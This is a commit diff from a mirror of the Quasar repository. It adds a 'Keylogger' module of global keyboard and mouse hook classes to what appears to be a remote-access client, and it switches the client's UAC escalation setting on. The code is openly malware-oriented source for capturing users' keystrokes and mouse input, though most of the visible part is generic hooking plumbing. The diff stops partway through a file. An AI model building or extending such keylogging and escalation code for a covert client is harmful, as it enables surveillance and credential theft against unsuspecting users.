mirror of https://github.com/quasar/Quasar.git
commit
28f3fe1a58
|
@ -69,10 +69,46 @@
|
|||
<Compile Include="Core\Information\OSInfo.cs" />
|
||||
<Compile Include="Core\Compression\JpgCompression.cs" />
|
||||
<Compile Include="Core\Extensions\SocketExtensions.cs" />
|
||||
<Compile Include="Core\Keylogger\KeyloggerAttributes.cs" />
|
||||
<Compile Include="Core\Keylogger\KeyloggerHelpers.cs" />
|
||||
<Compile Include="Core\Keylogger\KeyloggerKeys.cs" />
|
||||
<Compile Include="Core\Keylogger\Win32.cs" />
|
||||
<Compile Include="Core\Keylogger\Hook.cs" />
|
||||
<Compile Include="Core\Keylogger\HotKeys\HotKeyArgs.cs" />
|
||||
<Compile Include="Core\Keylogger\HotKeys\HotKeySet.cs" />
|
||||
<Compile Include="Core\Keylogger\HotKeys\HotKeySetCollection.cs" />
|
||||
<Compile Include="Core\Keylogger\HotKeys\HotKeySetsListener.cs" />
|
||||
<Compile Include="Core\Keylogger\IKeyboardEvents.cs" />
|
||||
<Compile Include="Core\Keylogger\IKeyboardMouseEvents.cs" />
|
||||
<Compile Include="Core\Keylogger\IMouseEvents.cs" />
|
||||
<Compile Include="Core\Keylogger\Implementation\AppEventFacade.cs" />
|
||||
<Compile Include="Core\Keylogger\Implementation\AppKeyListener.cs" />
|
||||
<Compile Include="Core\Keylogger\Implementation\AppMouseListener.cs" />
|
||||
<Compile Include="Core\Keylogger\Implementation\BaseListener.cs" />
|
||||
<Compile Include="Core\Keylogger\Implementation\ButtonSet.cs" />
|
||||
<Compile Include="Core\Keylogger\Implementation\Callback.cs" />
|
||||
<Compile Include="Core\Keylogger\Implementation\EventFacade.cs" />
|
||||
<Compile Include="Core\Keylogger\Implementation\GlobalEventFacade.cs" />
|
||||
<Compile Include="Core\Keylogger\Implementation\GlobalKeyListener.cs" />
|
||||
<Compile Include="Core\Keylogger\Implementation\GlobalMouseListener.cs" />
|
||||
<Compile Include="Core\Keylogger\Implementation\KeyboardState.cs" />
|
||||
<Compile Include="Core\Keylogger\Implementation\KeyListener.cs" />
|
||||
<Compile Include="Core\Keylogger\Implementation\MouseListener.cs" />
|
||||
<Compile Include="Core\Keylogger\Implementation\Subscribe.cs" />
|
||||
<Compile Include="Core\Keylogger\KeyEventArgsExt.cs" />
|
||||
<Compile Include="Core\Keylogger\KeyPressEventArgsExt.cs" />
|
||||
<Compile Include="Core\Keylogger\MouseEventExtArgs.cs" />
|
||||
<Compile Include="Core\Keylogger\WinApi\AppMouseStruct.cs" />
|
||||
<Compile Include="Core\Keylogger\WinApi\CallbackData.cs" />
|
||||
<Compile Include="Core\Keylogger\WinApi\HookHelper.cs" />
|
||||
<Compile Include="Core\Keylogger\WinApi\HookIds.cs" />
|
||||
<Compile Include="Core\Keylogger\WinApi\HookNativeMethods.cs" />
|
||||
<Compile Include="Core\Keylogger\WinApi\HookProcedure.cs" />
|
||||
<Compile Include="Core\Keylogger\WinApi\HookProcedureHandle.cs" />
|
||||
<Compile Include="Core\Keylogger\WinApi\HookResult.cs" />
|
||||
<Compile Include="Core\Keylogger\WinApi\KeyboardHookStruct.cs" />
|
||||
<Compile Include="Core\Keylogger\WinApi\KeyboardNativeMethods.cs" />
|
||||
<Compile Include="Core\Keylogger\WinApi\Messages.cs" />
|
||||
<Compile Include="Core\Keylogger\WinApi\MouseNativeMethods.cs" />
|
||||
<Compile Include="Core\Keylogger\WinApi\MouseStruct.cs" />
|
||||
<Compile Include="Core\Keylogger\WinApi\Point.cs" />
|
||||
<Compile Include="Core\Keylogger\WinApi\ThreadNativeMethods.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\DesktopResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\DirectoryResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\DownloadFileResponse.cs" />
|
||||
|
@ -236,7 +272,9 @@
|
|||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
</ItemGroup>
|
||||
<ItemGroup />
|
||||
<ItemGroup>
|
||||
<Content Include="Core\Keylogger\HotKeys\ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<PropertyGroup>
|
||||
<PostBuildEvent>copy "$(TargetPath)" "$(TargetDir)client.bin" /Y</PostBuildEvent>
|
||||
|
|
|
@ -22,7 +22,7 @@ namespace xClient.Config
|
|||
public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!";
|
||||
public static string STARTUPKEY = "Test key";
|
||||
public static bool HIDEFILE = false;
|
||||
public static bool ENABLEUACESCALATION = false;
|
||||
public static bool ENABLEUACESCALATION = true;
|
||||
public static bool ENABLELOGGER = true;
|
||||
|
||||
public static void Initialize()
|
||||
|
|
|
@ -0,0 +1,38 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using xClient.Core.Keylogger.Implementation;
|
||||
|
||||
namespace xClient.Core.Keylogger
|
||||
{
|
||||
/// <summary>
|
||||
/// This is the class to start with.
|
||||
/// </summary>
|
||||
public static class Hook
|
||||
{
|
||||
/// <summary>
|
||||
/// Here you find all application wide events. Both mouse and keyboard.
|
||||
/// </summary>
|
||||
/// <returns>
|
||||
/// Returned instance is used for event subscriptions.
|
||||
/// You can refetch it (you will get the same instance anyway).
|
||||
/// </returns>
|
||||
public static IKeyboardMouseEvents AppEvents()
|
||||
{
|
||||
return new AppEventFacade();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Here you find all application wide events. Both mouse and keyboard.
|
||||
/// </summary>
|
||||
/// <returns>
|
||||
/// Returned instance is used for event subscriptions.
|
||||
/// You can refetch it (you will get the same instance anyway).
|
||||
/// </returns>
|
||||
public static IKeyboardMouseEvents GlobalEvents()
|
||||
{
|
||||
return new GlobalEventFacade();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,33 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System;
|
||||
|
||||
namespace xClient.Core.Keylogger.HotKeys
|
||||
{
|
||||
/// <summary>
|
||||
/// The event arguments passed when a HotKeySet's OnHotKeysDownHold event is triggered.
|
||||
/// </summary>
|
||||
public sealed class HotKeyArgs : EventArgs
|
||||
{
|
||||
private readonly DateTime m_TimeOfExecution;
|
||||
|
||||
/// <summary>
|
||||
/// Creates an instance of the HotKeyArgs.
|
||||
/// <param name="triggeredAt">Time when the event was triggered</param>
|
||||
/// </summary>
|
||||
public HotKeyArgs(DateTime triggeredAt)
|
||||
{
|
||||
m_TimeOfExecution = triggeredAt;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Time when the event was triggered
|
||||
/// </summary>
|
||||
public DateTime Time
|
||||
{
|
||||
get { return m_TimeOfExecution; }
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,287 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Windows.Forms;
|
||||
using xClient.Core.Keylogger.Implementation;
|
||||
|
||||
namespace xClient.Core.Keylogger.HotKeys
|
||||
{
|
||||
/// <summary>
|
||||
/// An immutable set of Hot Keys that provides an event for when the set is activated.
|
||||
/// </summary>
|
||||
public class HotKeySet
|
||||
{
|
||||
/// <summary>
|
||||
/// A delegate representing the signature for the OnHotKeysDownHold event
|
||||
/// </summary>
|
||||
/// <param name="sender"></param>
|
||||
/// <param name="e"></param>
|
||||
public delegate void HotKeyHandler(object sender, HotKeyArgs e);
|
||||
|
||||
private readonly IEnumerable<Keys> m_hotkeys; //hotkeys provided by the user.
|
||||
private readonly Dictionary<Keys, bool> m_hotkeystate; //Keeps track of the status of the set of Keys
|
||||
/*
|
||||
* Example of m_remapping:
|
||||
* a single key from the set of Keys requested is chosen to be the reference key (aka primary key)
|
||||
*
|
||||
* m_remapping[ Keys.LShiftKey ] = Keys.LShiftKey
|
||||
* m_remapping[ Keys.RShiftKey ] = Keys.LShiftKey
|
||||
*
|
||||
* This allows the m_hotkeystate to use a single key (primary key) from the set that will act on behalf of all the keys in the set,
|
||||
* which in turn reduces to this:
|
||||
*
|
||||
* Keys k = Keys.RShiftKey
|
||||
* Keys primaryKey = PrimaryKeyOf( k ) = Keys.LShiftKey
|
||||
* m_hotkeystate[ primaryKey ] = true/false
|
||||
*/
|
||||
private readonly Dictionary<Keys, Keys> m_remapping; //Used for mapping multiple keys to a single key
|
||||
private bool m_enabled = true; //enabled by default
|
||||
//These provide the actual status of whether a set is truly activated or not.
|
||||
private int m_hotkeydowncount; //number of hot keys down
|
||||
private int m_remappingCount;
|
||||
//the number of remappings, i.e., a set of mappings, not the individual count in m_remapping
|
||||
|
||||
/// <summary>
|
||||
/// Creates an instance of the HotKeySet class. Once created, the keys cannot be changed.
|
||||
/// </summary>
|
||||
/// <param name="hotkeys">Set of Hot Keys</param>
|
||||
public HotKeySet(IEnumerable<Keys> hotkeys)
|
||||
{
|
||||
m_hotkeystate = new Dictionary<Keys, bool>();
|
||||
m_remapping = new Dictionary<Keys, Keys>();
|
||||
m_hotkeys = hotkeys;
|
||||
InitializeKeys();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Enables the ability to name the set
|
||||
/// </summary>
|
||||
public string Name { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Enables the ability to describe what the set is used for or supposed to do
|
||||
/// </summary>
|
||||
public string Description { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Gets the set of hotkeys that this class handles.
|
||||
/// </summary>
|
||||
public IEnumerable<Keys> HotKeys
|
||||
{
|
||||
get { return m_hotkeys; }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns whether the set of Keys is activated
|
||||
/// </summary>
|
||||
public bool HotKeysActivated
|
||||
{
|
||||
//The number of sets of remapped keys is used to offset the amount originally specified by the user.
|
||||
get { return m_hotkeydowncount == (m_hotkeystate.Count - m_remappingCount); }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets or sets the enabled state of the HotKey set.
|
||||
/// </summary>
|
||||
public bool Enabled
|
||||
{
|
||||
get { return m_enabled; }
|
||||
set
|
||||
{
|
||||
if (value)
|
||||
InitializeKeys(); //must get the actual current state of each key to update
|
||||
|
||||
m_enabled = value;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Called as the user holds down the keys in the set. It is NOT triggered the first time the keys are set.
|
||||
/// <see cref="OnHotKeysDownOnce" />
|
||||
/// </summary>
|
||||
public event HotKeyHandler OnHotKeysDownHold;
|
||||
|
||||
/// <summary>
|
||||
/// Called whenever the hot key set is no longer active. This is essentially a KeyPress event, indicating that a full
|
||||
/// key cycle has occurred, only for HotKeys because a single key removed from the set constitutes an incomplete set.
|
||||
/// </summary>
|
||||
public event HotKeyHandler OnHotKeysUp;
|
||||
|
||||
/// <summary>
|
||||
/// Called the first time the down keys are set. It does not get called throughout the duration the user holds it but
|
||||
/// only the
|
||||
/// first time it's activated.
|
||||
/// </summary>
|
||||
public event HotKeyHandler OnHotKeysDownOnce;
|
||||
|
||||
/// <summary>
|
||||
/// General invocation handler
|
||||
/// </summary>
|
||||
/// <param name="hotKeyDelegate"></param>
|
||||
private void InvokeHotKeyHandler(HotKeyHandler hotKeyDelegate)
|
||||
{
|
||||
if (hotKeyDelegate != null)
|
||||
hotKeyDelegate(this, new HotKeyArgs(DateTime.Now));
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Adds the keys into the dictionary tracking the keys and gets the real-time status of the Keys
|
||||
/// from the OS
|
||||
/// </summary>
|
||||
private void InitializeKeys()
|
||||
{
|
||||
foreach (Keys k in HotKeys)
|
||||
{
|
||||
if (m_hotkeystate.ContainsKey(k))
|
||||
m_hotkeystate.Add(k, false);
|
||||
|
||||
//assign using the current state of the keyboard
|
||||
m_hotkeystate[k] = KeyboardState.GetCurrent().IsDown(k);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Unregisters a previously set exclusive or based on the primary key.
|
||||
/// </summary>
|
||||
/// <param name="anyKeyInTheExclusiveOrSet">Any key used in the Registration method used to create an exclusive or set</param>
|
||||
/// <returns>
|
||||
/// True if successful. False doesn't indicate a failure to unregister, it indicates that the Key is not
|
||||
/// registered as an Exclusive Or key or it's not the Primary Key.
|
||||
/// </returns>
|
||||
public bool UnregisterExclusiveOrKey(Keys anyKeyInTheExclusiveOrSet)
|
||||
{
|
||||
Keys primaryKey = GetExclusiveOrPrimaryKey(anyKeyInTheExclusiveOrSet);
|
||||
|
||||
if (primaryKey == Keys.None || !m_remapping.ContainsValue(primaryKey))
|
||||
return false;
|
||||
|
||||
List<Keys> keystoremove = new List<Keys>();
|
||||
|
||||
foreach (KeyValuePair<Keys, Keys> pair in m_remapping)
|
||||
{
|
||||
if (pair.Value == primaryKey)
|
||||
keystoremove.Add(pair.Key);
|
||||
}
|
||||
|
||||
foreach (Keys k in keystoremove)
|
||||
m_remapping.Remove(k);
|
||||
|
||||
--m_remappingCount;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Registers a group of Keys that are already part of the HotKeySet in order to provide better flexibility among keys.
|
||||
/// <example>
|
||||
/// <code>
|
||||
/// HotKeySet hks = new HotKeySet( new [] { Keys.T, Keys.LShiftKey, Keys.RShiftKey } );
|
||||
/// RegisterExclusiveOrKey( new [] { Keys.LShiftKey, Keys.RShiftKey } );
|
||||
/// </code>
|
||||
/// allows either Keys.LShiftKey or Keys.RShiftKey to be combined with Keys.T.
|
||||
/// </example>
|
||||
/// </summary>
|
||||
/// <param name="orKeySet"></param>
|
||||
/// <returns>Primary key used for mapping or Keys.None on error</returns>
|
||||
public Keys RegisterExclusiveOrKey(IEnumerable<Keys> orKeySet)
|
||||
{
|
||||
//Verification first, so as to not leave the m_remapping with a partial set.
|
||||
foreach (Keys k in orKeySet)
|
||||
{
|
||||
if (!m_hotkeystate.ContainsKey(k))
|
||||
return Keys.None;
|
||||
}
|
||||
|
||||
int i = 0;
|
||||
Keys primaryKey = Keys.None;
|
||||
|
||||
//Commit after verification
|
||||
foreach (Keys k in orKeySet)
|
||||
{
|
||||
if (i == 0)
|
||||
primaryKey = k;
|
||||
|
||||
m_remapping[k] = primaryKey;
|
||||
|
||||
++i;
|
||||
}
|
||||
|
||||
//Must increase to keep a true count of how many keys are necessary for the activation to be true
|
||||
++m_remappingCount;
|
||||
|
||||
return primaryKey;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the primary key
|
||||
/// </summary>
|
||||
/// <param name="k"></param>
|
||||
/// <returns>The primary key if it exists, otherwise Keys.None</returns>
|
||||
private Keys GetExclusiveOrPrimaryKey(Keys k)
|
||||
{
|
||||
return (m_remapping.ContainsKey(k) ? m_remapping[k] : Keys.None);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Resolves obtaining the key used for state checking.
|
||||
/// </summary>
|
||||
/// <param name="k"></param>
|
||||
/// <returns>The primary key if it exists, otherwise the key entered</returns>
|
||||
private Keys GetPrimaryKey(Keys k)
|
||||
{
|
||||
//If the key is remapped then get the primary keys
|
||||
return (m_remapping.ContainsKey(k) ? m_remapping[k] : k);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// </summary>
|
||||
/// <param name="kex"></param>
|
||||
internal void OnKey(KeyEventArgsExt kex)
|
||||
{
|
||||
if (!Enabled)
|
||||
return;
|
||||
|
||||
//Gets the primary key if mapped to a single key or gets the key itself
|
||||
Keys primaryKey = GetPrimaryKey(kex.KeyCode);
|
||||
|
||||
if (kex.IsKeyDown)
|
||||
OnKeyDown(primaryKey);
|
||||
else //reset
|
||||
OnKeyUp(primaryKey);
|
||||
}
|
||||
|
||||
private void OnKeyDown(Keys k)
|
||||
{
|
||||
//If the keys are activated still then keep invoking the event
|
||||
if (HotKeysActivated)
|
||||
InvokeHotKeyHandler(OnHotKeysDownHold); //Call the duration event
|
||||
|
||||
//indicates the key's state is current false but the key is now down
|
||||
else if (m_hotkeystate.ContainsKey(k) && !m_hotkeystate[k])
|
||||
{
|
||||
m_hotkeystate[k] = true; //key's state is down
|
||||
++m_hotkeydowncount; //increase the number of keys down in this set
|
||||
|
||||
if (HotKeysActivated) //because of the increase, check whether the set is activated
|
||||
InvokeHotKeyHandler(OnHotKeysDownOnce); //Call the initial event
|
||||
}
|
||||
}
|
||||
|
||||
private void OnKeyUp(Keys k)
|
||||
{
|
||||
if (m_hotkeystate.ContainsKey(k) && m_hotkeystate[k]) //indicates the key's state was down but now it's up
|
||||
{
|
||||
bool wasActive = HotKeysActivated;
|
||||
|
||||
m_hotkeystate[k] = false; //key's state is up
|
||||
--m_hotkeydowncount; //this set is no longer ready
|
||||
|
||||
if (wasActive)
|
||||
InvokeHotKeyHandler(OnHotKeysUp); //call the KeyUp event because the set is no longer active
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,48 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace xClient.Core.Keylogger.HotKeys
|
||||
{
|
||||
/// <summary>
|
||||
/// A collection of HotKeySets
|
||||
/// </summary>
|
||||
public sealed class HotKeySetCollection : List<HotKeySet>
|
||||
{
|
||||
private KeyChainHandler m_keyChain;
|
||||
|
||||
/// <summary>
|
||||
/// Adds a HotKeySet to the collection.
|
||||
/// </summary>
|
||||
/// <param name="hks"></param>
|
||||
public new void Add(HotKeySet hks)
|
||||
{
|
||||
m_keyChain += hks.OnKey;
|
||||
base.Add(hks);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Removes the HotKeySet from the collection.
|
||||
/// </summary>
|
||||
/// <param name="hks"></param>
|
||||
public new void Remove(HotKeySet hks)
|
||||
{
|
||||
m_keyChain -= hks.OnKey;
|
||||
base.Remove(hks);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Uses a multi-case delegate to invoke individual HotKeySets if the Key is in use by any HotKeySets.
|
||||
/// </summary>
|
||||
/// <param name="e"></param>
|
||||
internal void OnKey(KeyEventArgsExt e)
|
||||
{
|
||||
if (m_keyChain != null)
|
||||
m_keyChain(e);
|
||||
}
|
||||
|
||||
private delegate void KeyChainHandler(KeyEventArgsExt kex);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,4 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
|
@ -0,0 +1,85 @@
|
|||
Until a separate, full-featured test version is ready, here's a quick update that can be made to the TestFormHookListeners:
|
||||
|
||||
//HotKeySetsListener inherits KeyboardHookListener
|
||||
private readonly HotKeySetsListener m_KeyboardHookManager;
|
||||
private readonly MouseHookListener m_MouseHookManager;
|
||||
|
||||
public TestFormHookListeners()
|
||||
{
|
||||
InitializeComponent();
|
||||
//m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker());
|
||||
//m_KeyboardHookManager.Enabled = true;
|
||||
|
||||
m_MouseHookManager = new MouseHookListener( new GlobalHooker() ) { Enabled = true };
|
||||
|
||||
HotKeySetCollection hkscoll = new HotKeySetCollection();
|
||||
m_KeyboardHookManager = new HotKeySetsListener( hkscoll, new GlobalHooker() ) { Enabled = true };
|
||||
|
||||
BuildHotKeyTests( hkscoll );
|
||||
}
|
||||
|
||||
private void BuildHotKeyTests( HotKeySetCollection hkscoll )
|
||||
{
|
||||
//Hot Keys are enabled by default. Use the Enabled property to adjust.
|
||||
hkscoll.Add( BindHotKeySet( new[] { Keys.T, Keys.LShiftKey }, null, OnHotKeyDownOnce1, OnHotKeyDownHold1, OnHotKeyUp1, "test1" ) );
|
||||
hkscoll.Add( BindHotKeySet( new[] { Keys.T, Keys.LControlKey, Keys.RControlKey }, new[] { Keys.LControlKey, Keys.RControlKey }, OnHotKeyDownGeneral2, OnHotKeyDownGeneral2, OnHotKeyUp1, "test2" ) );
|
||||
}
|
||||
|
||||
private static HotKeySet BindHotKeySet( IEnumerable<Keys> ks,
|
||||
IEnumerable<Keys> xorKeys,
|
||||
HotKeySet.HotKeyHandler onEventDownOnce,
|
||||
HotKeySet.HotKeyHandler onEventDownHold,
|
||||
HotKeySet.HotKeyHandler onEventUp,
|
||||
string name )
|
||||
{
|
||||
|
||||
//Declare ALL Keys that will be available in this set, including any keys you want to register as an either/or subset
|
||||
HotKeySet hks = new HotKeySet( ks );
|
||||
|
||||
//Indicates that the keys in this array will be treated as an OR rather than AND: LShiftKey or RShiftKey
|
||||
//The keys MUST be a subset of the ks Keys array.
|
||||
if ( hks.RegisterExclusiveOrKey( xorKeys ) == Keys.None ) //Keys.None indicates an error
|
||||
{
|
||||
MessageBox.Show( null, @"Unable to register subset: " + String.Join( ", ", xorKeys ),
|
||||
@"Subset registration error", MessageBoxButtons.OK, MessageBoxIcon.Error );
|
||||
}
|
||||
|
||||
hks.OnHotKeysDownOnce += onEventDownOnce; //The first time the key is down
|
||||
hks.OnHotKeysDownHold += onEventDownHold; //Fired as long as the user holds the hot keys down but is not fired the first time.
|
||||
hks.OnHotKeysUp += onEventUp; //Whenever a key from the set is no longer being held down
|
||||
|
||||
hks.Name = ( name ?? String.Empty );
|
||||
|
||||
return hks;
|
||||
|
||||
}
|
||||
|
||||
private void GeneralHotKeyEvent( object sender, DateTime timeTriggered, string eventType )
|
||||
{
|
||||
HotKeySet hks = sender as HotKeySet;
|
||||
string kstring = String.Join( ", ", hks.HotKeys );
|
||||
Log( String.Format( "{0}: {2} {1} - {3}\r\n", timeTriggered.TimeOfDay, eventType, hks.Name, kstring ) );
|
||||
}
|
||||
|
||||
private void OnHotKeyDownGeneral2( object sender, HotKeyArgs e )
|
||||
{
|
||||
GeneralHotKeyEvent( sender, e.Time, "ONCE/HOLD" );
|
||||
}
|
||||
|
||||
private void OnHotKeyDownOnce1( object sender, HotKeyArgs e )
|
||||
{
|
||||
GeneralHotKeyEvent( sender, e.Time, "ONCE" );
|
||||
}
|
||||
|
||||
private void OnHotKeyDownHold1( object sender, HotKeyArgs e )
|
||||
{
|
||||
GeneralHotKeyEvent( sender, e.Time, "HOLD" );
|
||||
}
|
||||
|
||||
private void OnHotKeyUp1( object sender, HotKeyArgs e )
|
||||
{
|
||||
GeneralHotKeyEvent( sender, e.Time, "UP" );
|
||||
}
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,43 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace xClient.Core.Keylogger
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides keyboard events
|
||||
/// </summary>
|
||||
public interface IKeyboardEvents
|
||||
{
|
||||
/// <summary>
|
||||
/// Occurs when a key is pressed.
|
||||
/// </summary>
|
||||
event KeyEventHandler KeyDown;
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when a key is pressed.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Key events occur in the following order:
|
||||
/// <list type="number">
|
||||
/// <item>KeyDown</item>
|
||||
/// <item>KeyPress</item>
|
||||
/// <item>KeyUp</item>
|
||||
/// </list>
|
||||
/// The KeyPress event is not raised by non-character keys; however, the non-character keys do raise the KeyDown and
|
||||
/// KeyUp events.
|
||||
/// Use the KeyChar property to sample keystrokes at run time and to consume or modify a subset of common keystrokes.
|
||||
/// To handle keyboard events only in your application and not enable other applications to receive keyboard events,
|
||||
/// set the <see cref="KeyPressEventArgs.Handled" /> property in your form's KeyPress event-handling method to
|
||||
/// <b>true</b>.
|
||||
/// </remarks>
|
||||
event KeyPressEventHandler KeyPress;
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when a key is released.
|
||||
/// </summary>
|
||||
event KeyEventHandler KeyUp;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,15 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System;
|
||||
|
||||
namespace xClient.Core.Keylogger
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides keyboard and mouse events.
|
||||
/// </summary>
|
||||
public interface IKeyboardMouseEvents : IKeyboardEvents, IMouseEvents, IDisposable
|
||||
{
|
||||
}
|
||||
}
|
|
@ -0,0 +1,73 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace xClient.Core.Keylogger
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides all mouse events.
|
||||
/// </summary>
|
||||
public interface IMouseEvents
|
||||
{
|
||||
/// <summary>
|
||||
/// Occurs when the mouse pointer is moved.
|
||||
/// </summary>
|
||||
event MouseEventHandler MouseMove;
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when the mouse pointer is moved.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// This event provides extended arguments of type <see cref="MouseEventArgs" /> enabling you to
|
||||
/// suppress further processing of mouse movement in other applications.
|
||||
/// </remarks>
|
||||
event EventHandler<MouseEventExtArgs> MouseMoveExt;
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when a click was performed by the mouse.
|
||||
/// </summary>
|
||||
event MouseEventHandler MouseClick;
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when the mouse a mouse button is pressed.
|
||||
/// </summary>
|
||||
event MouseEventHandler MouseDown;
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when the mouse a mouse button is pressed.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// This event provides extended arguments of type <see cref="MouseEventArgs" /> enabling you to
|
||||
/// suppress further processing of mouse click in other applications.
|
||||
/// </remarks>
|
||||
event EventHandler<MouseEventExtArgs> MouseDownExt;
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when a mouse button is released.
|
||||
/// </summary>
|
||||
event MouseEventHandler MouseUp;
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when a mouse button is released.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// This event provides extended arguments of type <see cref="MouseEventArgs" /> enabling you to
|
||||
/// suppress further processing of mouse click in other applications.
|
||||
/// </remarks>
|
||||
event EventHandler<MouseEventExtArgs> MouseUpExt;
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when the mouse wheel moves.
|
||||
/// </summary>
|
||||
event MouseEventHandler MouseWheel;
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when a mouse button is double-clicked.
|
||||
/// </summary>
|
||||
event MouseEventHandler MouseDoubleClick;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,19 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
namespace xClient.Core.Keylogger.Implementation
|
||||
{
|
||||
internal class AppEventFacade : EventFacade
|
||||
{
|
||||
protected override MouseListener CreateMouseListener()
|
||||
{
|
||||
return new AppMouseListener();
|
||||
}
|
||||
|
||||
protected override KeyListener CreateKeyListener()
|
||||
{
|
||||
return new AppKeyListener();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,27 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System.Collections.Generic;
|
||||
using xClient.Core.Keylogger.WinApi;
|
||||
|
||||
namespace xClient.Core.Keylogger.Implementation
|
||||
{
|
||||
internal class AppKeyListener : KeyListener
|
||||
{
|
||||
public AppKeyListener()
|
||||
: base(HookHelper.HookAppKeyboard)
|
||||
{
|
||||
}
|
||||
|
||||
protected override IEnumerable<KeyPressEventArgsExt> GetPressEventArgs(CallbackData data)
|
||||
{
|
||||
return KeyPressEventArgsExt.FromRawDataApp(data);
|
||||
}
|
||||
|
||||
protected override KeyEventArgsExt GetDownUpEventArgs(CallbackData data)
|
||||
{
|
||||
return KeyEventArgsExt.FromRawDataApp(data);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,21 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using xClient.Core.Keylogger.WinApi;
|
||||
|
||||
namespace xClient.Core.Keylogger.Implementation
|
||||
{
|
||||
internal class AppMouseListener : MouseListener
|
||||
{
|
||||
public AppMouseListener()
|
||||
: base(HookHelper.HookAppMouse)
|
||||
{
|
||||
}
|
||||
|
||||
protected override MouseEventExtArgs GetEventArgs(CallbackData data)
|
||||
{
|
||||
return MouseEventExtArgs.FromRawDataApp(data);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System;
|
||||
using xClient.Core.Keylogger.WinApi;
|
||||
|
||||
namespace xClient.Core.Keylogger.Implementation
|
||||
{
|
||||
